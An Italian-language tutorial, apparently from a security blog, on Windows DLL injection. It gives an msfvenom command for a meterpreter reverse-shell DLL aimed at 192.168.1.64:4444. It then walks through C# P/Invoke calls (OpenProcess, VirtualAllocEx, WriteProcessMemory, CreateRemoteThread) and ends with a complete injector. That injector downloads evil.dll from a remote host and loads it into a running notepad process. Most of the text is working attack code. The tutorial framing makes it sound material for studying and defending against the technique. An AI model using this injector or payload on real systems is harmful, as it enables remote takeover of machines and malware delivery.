La DLL Injection è una tecnica di Code Injection per eseguire del codice all’interno di un processo forzandolo a caricare una libreria DLL esterna. Non è da confondere con il DLL Hijacking.
Essa viene solitamente eseguita scrivendo il percorso di una DLL nello spazio degl indirizzi virtuali del processo target prima di caricare la DLL invocando un nuovo thread. Questa injection può essere eseguita con chiamate API native di Windows come VirtualAllocEx e WriteProcessMemory, poi invocata con CreateRemoteThread (che chiama l’API LoadLibrary responsabile del caricamento della DLL).
Quando un processo viene eseguito carica una serie di DLL che contengono le librerie e funzioni che gli sono necessarie per il corretto funzionamento dello stesso.
Darò per scontato certe nozioni che sono già state spiegate nell’articolo sulla Process Injection.
Nel caso della DLL Injection invece viene forzato il processo a caricare una DLL esterna seguendo gli step di seguito
Uno dei metodi più comuni di DLL Injection è attraverso l’API Windows LoadLibrary:
Questo è necessario perché LoadLibrary non può essere eseguito da un processo remoto ma bisogna forzare il processo ad eseguire la DLL, inserendo la DLL (o il percorso ad essa) al suo interno.
Per prima cosa è necessario creare la DLL malevola e copiarla all’interno del sistema target.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.64 LPORT=4444 -f dll -o injection.dll
Come per la Process Injection è necessario aprire il processo in cui vogliamo iniettare la DLL e lo faremo con OpenProcess
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId
);
int procID = Process.GetProcessesByName("notepad")[0].Id;
IntPtr ProcessTarget = OpenProcess(0x001F0FFF, false, procID);;
Allochiamo uno spazio di memoria all’interno del processo con VirtualAllocEx
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
IntPtr address = VirtualAllocEx(ProcessTarget, IntPtr.Zero, 0x1000, 0x3000, 0x4);
Tramite WriteProcessMemory copiamo il nome e il path della DLL all’interno della memoria appena allocata
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
IntPtr outSize;
Boolean res = WriteProcessMemory(ProcessTarget, address, Encoding.Default.GetBytes(EvilDLL), EvilDLL.Length, out outSize);
Per prima cosa dobbiamo cercare all’interno della memoria del processo l’indirizzo di partenza di LoadLibraryA(), in modo da poter passare alla funzione di esecuzione l’indirizzo di memoria della nostra DLL. Per ottenere l’indirizzo usiamo GetProcessAddress e GetModuleHandle
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName);
IntPtr loadLibAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
Ed infine possiamo invocare CreateRemoteThread
[DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
IntPtr hThread = CreateRemoteThread(ProcessTarget, IntPtr.Zero, 0, loadLibAddr, address, 0, IntPtr.Zero);
Mettendo tutto insieme:
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace DLLInjection
{
class DLLInject
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
String EvilDLL = dir + "\\evil.dll";
WebClient wc = new WebClient();
wc.DownloadFile("http://192.168.1.64:8081/evil.dll", EvilDLL);
int procID = Process.GetProcessesByName("notepad")[0].Id;
IntPtr ProcessTarget = OpenProcess(0x001F0FFF, false, procID);
IntPtr address = VirtualAllocEx(ProcessTarget, IntPtr.Zero, 0x1000, 0x3000, 0x4);
IntPtr outSize;
Boolean res = WriteProcessMemory(ProcessTarget, address, Encoding.Default.GetBytes(EvilDLL), EvilDLL.Length, out outSize);
IntPtr loadLibAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(ProcessTarget, IntPtr.Zero, 0, loadLibAddr, address, 0, IntPtr.Zero);
}
}
}
Il problema di questa tecnica è che salva sul disco il file DLL ed ha molte possibilità di essere identificata da un antivirus. Una tecnica più efficente è la Reflective DLL Injection.
Alcune risorse utili per approfondire l’argomento: